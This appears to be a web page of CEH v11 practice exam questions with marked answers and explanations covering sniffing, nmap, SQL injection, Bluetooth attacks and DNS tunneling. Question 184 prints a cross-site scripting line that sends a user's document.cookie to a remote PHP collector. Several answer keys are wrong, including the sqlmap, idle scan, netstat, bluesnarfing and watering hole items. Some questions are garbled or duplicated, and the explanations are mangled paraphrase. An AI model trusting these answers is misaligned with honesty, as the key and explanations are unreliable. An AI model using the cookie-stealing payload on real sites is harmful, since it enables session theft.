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To prepare for the CEH v11 exam, candidates can enroll in a variety of training programs and courses offered by EC-COUNCIL or other accredited training providers. These courses provide candidates with in-depth knowledge of the exam topics and prepare them for the practical exercises that are part of the exam. Additionally, candidates can use study guides and practice exams to reinforce their understanding of the material and improve their chances of passing the exam.

Ending Notes

With the EC-Council 312-50v11 exam, one can gain industry significance as a skilled and seasoned ethical hacker. All the needed expertise can be earned effortlessly with this single test. But before you dream of career success, join training courses proffered by the certification vendor, refer to quality books found on Amazon, and master all the exam domains. This all is crucial to gain the confidence and expertise required for the big exam day.

NEW QUESTION # 181
Which type of sniffing technique is generally referred as MiTM attack?

• A. DHCP Sniffing
• B. Password Sniffing
• C. Mac Flooding
• D. ARP Poisoning

Answer: D

NEW QUESTION # 182
What is the following command used for?
sqlmap.py-u
,,http://10.10.1.20/?p=1
&forumaction=search" -dbs

• A. Searching database statements at the IP address given
• B. A Enumerating the databases in the DBMS for the URL
• C. Creating backdoors using SQL injection
• D. Retrieving SQL statements being executed on the database

Answer: C

NEW QUESTION # 183
What piece of hardware on a computer's motherboard generates encryption keys and only releases a part of the key so that decrypting a disk on a new piece of hardware is not possible?

• A. CPU
• B. GPU
• C. TPM
• D. UEFI

Answer: C

NEW QUESTION # 184
Judy created a forum, one day. she discovers that a user is posting strange images without writing comments.
She immediately calls a security expert, who discovers that the following code is hidden behind those images:
<script>
document.writef<img src="https://Ioca(host/submitcookie.php? cookie ='+ escape(document.cookie)+ " />); </script> What issue occurred for the users who clicked on the image?

• A. The code redirects the user to another site.
• B. The code inject a new cookie to the browser.
• C. This php file silently executes the code and grabs the users session cookie and session ID.
• D. The code is a virus that is attempting to gather the users username and password.

Answer: C

Explanation:
document.write(<img.src=https://localhost/submitcookie.php cookie =+ escape(document.cookie) +/>); (Cookie and session ID theft)

NEW QUESTION # 185
Consider the following Nmap output:

what command-line parameter could you use to determine the type and version number of the web server?

• A. -sv
• B. -ss
• C. -V
• D. -Pn

Answer: A

NEW QUESTION # 186
Samuel, a security administrator, is assessing the configuration of a web server. He noticed that the server permits SSLv2 connections, and the same private key certificate is used on a different server that allows SSLv2 connections. This vulnerability makes the web server vulnerable to attacks as the SSLv2 server can leak key information.
Which of the following attacks can be performed by exploiting the above vulnerability?

• A. Side-channel attack
• B. Padding oracle attack
• C. DUHK attack
• D. DROWN attack

Answer: D

NEW QUESTION # 187
Which regulation defines security and privacy controls for Federal information systems and organizations?

• A. PCI-DSS
• B. HIPAA
• C. EU Safe Harbor
• D. NIST-800-53

Answer: D

NEW QUESTION # 188
Bob was recently hired by a medical company after it experienced a major cyber security breach. Many patients are complaining that their personal medical records are fully exposed on the Internet and someone can find them with a simple Google search. Bob's boss is very worried because of regulations that protect those dat a. Which of the following regulations is mostly violated?

• A. ISO 2002
• B. PCIDSS
• C. HIPPA/PHl
• D. Pll

Answer: C

Explanation:
PHI stands for Protected Health info. The HIPAA Privacy Rule provides federal protections for private health info held by lined entities and provides patients an array of rights with regard to that info. under HIPAA phi is considered to be any identifiable health info that's used, maintained, stored, or transmitted by a HIPAA-covered entity - a healthcare provider, health plan or health insurer, or a aid clearinghouse - or a business associate of a HIPAA-covered entity, in relation to the availability of aid or payment for aid services.
It is not only past and current medical info that's considered letter under HIPAA Rules, however also future info concerning medical conditions or physical and mental health related to the provision of care or payment for care. phi is health info in any kind, together with physical records, electronic records, or spoken info.
Therefore, letter includes health records, medical histories, lab check results, and medical bills. basically, all health info is considered letter once it includes individual identifiers. Demographic info is additionally thought of phi underneath HIPAA Rules, as square measure several common identifiers like patient names, Social Security numbers, Driver's license numbers, insurance details, and birth dates, once they square measure connected with health info.
The eighteen identifiers that create health info letter are:
Names
Dates, except year
phonephone numbers
Geographic information
FAX numbers
Social Security numbers
Email addresses
case history numbers
Account numbers
Health arrange beneficiary numbers
Certificate/license numbers
Vehicle identifiers and serial numbers together with license plates
Web URLs
Device identifiers and serial numbers
net protocol addresses
Full face photos and comparable pictures
Biometric identifiers (i.e. retinal scan, fingerprints)
Any distinctive identifying variety or code
One or a lot of of those identifiers turns health info into letter, and phi HIPAA Privacy Rule restrictions can then apply that limit uses and disclosures of the data. HIPAA lined entities and their business associates will ought to guarantee applicable technical, physical, and body safeguards are enforced to make sure the confidentiality, integrity, and availability of phi as stipulated within the HIPAA Security Rule.

NEW QUESTION # 189
CompanyXYZ has asked you to assess the security of their perimeter email gateway. From your office in New York, you craft a specially formatted email message and send it across the Internet to an employee of CompanyXYZ. The employee of CompanyXYZ is aware of your test. Your email message looks like this:
From: [email protected]
To: [email protected] Subject: Test message
Date: 4/3/2017 14:37
The employee of CompanyXYZ receives your email message.
This proves that CompanyXYZ's email gateway doesn't prevent what?

• A. Email Spoofing
• B. Email Harvesting
• C. Email Masquerading
• D. Email Phishing

Answer: A

NEW QUESTION # 190
Miley, a professional hacker, decided to attack a target organization's network. To perform the attack, she used a tool to send fake ARP messages over the target network to link her MAC address with the target system's IP address. By performing this, Miley received messages directed to the victim's MAC address and further used the tool to intercept, steal, modify, and block sensitive communication to the target system. What is the tool employed by Miley to perform the above attack?

• A. Wireshark
• B. BetterCAP
• C. Gobbler
• D. KDerpNSpoof

Answer: B

NEW QUESTION # 191
Consider the following Nmap output:

what command-line parameter could you use to determine the type and version number of the web server?

• A. -sv
• B. -ss
• C. -V
• D. -Pn

Answer: A

NEW QUESTION # 192
While scanning with Nmap, Patin found several hosts which have the IP ID of incremental sequences. He then decided to conduct: nmap -Pn -p- -si kiosk.adobe.com www.riaa.com. kiosk.adobe.com is the host with incremental IP ID sequence. What is the purpose of using "-si" with Nmap?

• A. Conduct silent scan
• B. Conduct stealth scan
• C. Conduct IDLE scan
• D. Conduct ICMP scan

Answer: B

NEW QUESTION # 193
The Payment Card Industry Data Security Standard (PCI DSS) contains six different categories of control objectives. Each objective contains one or more requirements, which must be followed in order to achieve compliance. Which of the following requirements would best fit under the objective, "Implement strong access control measures"?

• A. Use and regularly update anti-virus software on all systems commonly affected by malware.
• B. Encrypt transmission of cardholder data across open, public networks.
• C. Assign a unique ID to each person with computer access.
• D. Regularly test security systems and processes.

Answer: C

NEW QUESTION # 194
Which of the following options represents a conceptual characteristic of an anomaly-based IDS over a signature-based IDS?

• A. Cannot deal with encrypted network traffic
• B. Requires vendor updates for new threats
• C. Produces less false positives
• D. Can identify unknown attacks

Answer: D

NEW QUESTION # 195
From the following table, identify the wrong answer in terms of Range (ft).
Standard Range (ft)
802.11a 150-150
802.11b 150-150
802.11g 150-150
802.16 (WiMax) 30 miles

• A. 802.16 (WiMax)
• B. 802.11a
• C. 802.11b
• D. 802.11g

Answer: A

NEW QUESTION # 196
Which command can be used to show the current TCP/IP connections?

• A. Net use
• B. Net use connection
• C. Netstat
• D. Netsh

Answer: D

NEW QUESTION # 197
OpenSSL on Linux servers includes a command line tool for testing TLS. What is the name of the tool and the correct syntax to connect to a web server?

• A. openssl s_client -connect www.website.com:443
• B. openssl_client -site www.website.com:443
• C. openssl s_client -site www.website.com:443
• D. openssl_client -connect www.website.com:443

Answer: A

NEW QUESTION # 198
Which of the following tools can be used to perform a zone transfer?

• A. NSLookup
• B. Dig
• C. Netcat
• D. Finger
• E. Neotrace
• F. Host
• G. Sam Spade

Answer: A,B,F,G

NEW QUESTION # 199
which of the following Bluetooth hacking techniques refers to the theft of information from a wireless device through Bluetooth?

• A. Bluebugging
• B. Bluesnarfing
• C. Bluesmacking
• D. Bluejacking

Answer: D

Explanation:
Explanation
Bluejacking is maybe the foremost common sort of Bluetooth hacking. This happens once a hacker searches for discoverable devices within the space and so sends spam within the sort of text messages to the devices.
this manner of hacking is very immature and harmless.
It was once used primarily to prank individuals within the past once mobile devices came with Bluetooth that was mechanically set to ascertainable. Bluejacking is employed nowadays for spam electronic communication and also the hackers World Health Organization use this bonk simply to frustrate others. the tactic doesn't offer hackers access to your phone or the knowledge on that.
The best thanks to alter Bluejacking is to ignore the messages if you receive them. If you retain your Bluetooth settings to "invisible" or "non-discoverable" you're not going to receive these messages. Also, keeping your smartphone or device set to "invisible" whereas you're in a very busy or open Wi-Fi space. this can forestall Bluejacking and also the next 2 well-liked styles of hacks.

NEW QUESTION # 200
Henry Is a cyber security specialist hired by BlackEye - Cyber security solutions. He was tasked with discovering the operating system (OS) of a host. He used the Unkornscan tool to discover the OS of the target system. As a result, he obtained a TTL value, which Indicates that the target system is running a Windows OS. Identify the TTL value Henry obtained, which indicates that the target OS is Windows.

• A. 0
• B. 1
• C. 2
• D. 3

Answer: D

NEW QUESTION # 201
John, a professional hacker, decided to use DNS to perform data exfiltration on a target network, in this process, he embedded malicious data into the DNS protocol packets that even DNSSEC cannot detect. Using this technique. John successfully injected malware to bypass a firewall and maintained communication with the victim machine and C&C server. What is the technique employed by John to bypass the firewall?

• A. DNSSEC zone walking
• B. DNS enumeration
• C. DNS tunneling method
• D. DNS cache snooping

Answer: C

Explanation:
DNS tunneling may be a method wont to send data over the DNS protocol, a protocol which has never been intended for data transfer. due to that, people tend to overlook it and it's become a well-liked but effective tool in many attacks. Most popular use case for DNS tunneling is obtaining free internet through bypassing captive portals at airports, hotels, or if you are feeling patient the not-so-cheap on the wing Wi-Fi. On those shared internet hotspots HTTP traffic is blocked until a username/password is provided, however DNS traffic is usually still allowed within the background: we will encode our HTTP traffic over DNS and void, we've internet access. This sounds fun but reality is, browsing anything on DNS tunneling is slow. Like, back to 1998 slow. Another more dangerous use of DNS tunneling would be bypassing network security devices (Firewalls, DLP appliances...) to line up an immediate and unmonitored communications channel on an organisation's network. Possibilities here are endless: Data exfiltration, fixing another penetration testing tool... you name it. To make it even more worrying, there's an outsized amount of easy to use DNS tunneling tools out there. There's even a minimum of one VPN over DNS protocol provider (warning: the planning of the web site is hideous, making me doubt on the legitimacy of it). As a pentester all this is often great, as a network admin not such a lot .
How does it work:
For those that ignoramus about DNS protocol but still made it here, i feel you deserve a really brief explanation on what DNS does: DNS is sort of a phonebook for the web , it translates URLs (human-friendly language, the person's name), into an IP address (machine-friendly language, the phone number). That helps us remember many websites, same as we will remember many people's names. For those that know what DNS is i might suggest looking here for a fast refresh on DNS protocol, but briefly what you would like to understand is: * A Record: Maps a website name to an IP address. example.com ? 12.34.52.67 * NS Record (a.k.a. Nameserver record): Maps a website name to an inventory of DNS servers, just in case our website is hosted in multiple servers. example.com ? server1.example.com, server2.example.com Who is involved in DNS tunneling? * Client. Will launch DNS requests with data in them to a website . * One Domain that we will configure. So DNS servers will redirect its requests to an outlined server of our own. * Server. this is often the defined nameserver which can ultimately receive the DNS requests. The 6 Steps in DNS tunneling (simplified): 1. The client encodes data during a DNS request. The way it does this is often by prepending a bit of knowledge within the domain of the request. for instance : mypieceofdata.server1.example.com 2. The DNS request goes bent a DNS server. 3. The DNS server finds out the A register of your domain with the IP address of your server. 4. The request for mypieceofdata.server1.example.com is forwarded to the server. 5. The server processes regardless of the mypieceofdata was alleged to do. Let's assume it had been an HTTP request. 6. The server replies back over DNS and woop woop, we've got signal.

NEW QUESTION # 202
A friend of yours tells you that he downloaded and executed a file that was sent to him by a coworker. Since the file did nothing when executed, he asks you for help because he suspects that he may have installed a trojan on his computer.
what tests would you perform to determine whether his computer Is Infected?

• A. Use netstat and check for outgoing connections to strange IP addresses or domains.
• B. You do not check; rather, you immediately restore a previous snapshot of the operating system.
• C. Use ExifTool and check for malicious content.
• D. Upload the file to VirusTotal.

Answer: C

NEW QUESTION # 203
What would be the fastest way to perform content enumeration on a given web server by using the Gobuster tool?

• A. Shipping SSL certificate verification
• B. Performing content enumeration using the bruteforce mode and 10 threads
• C. Performing content enumeration using the bruteforce mode and random file extensions
• D. Performing content enumeration using a wordlist

Answer: B

NEW QUESTION # 204
Joel, a professional hacker, targeted a company and identified the types of websites frequently visited by its employees. Using this information, he searched for possible loopholes in these websites and injected a malicious script that can redirect users from the web page and download malware onto a victim's machine.
Joel waits for the victim to access the infected web application so as to compromise the victim's machine.
Which of the following techniques is used by Joel in the above scenario?

• A. Clickjacking attack
• B. DNS rebinding attack
• C. Watering hole attack
• D. MarioNet attack

Answer: A

NEW QUESTION # 205
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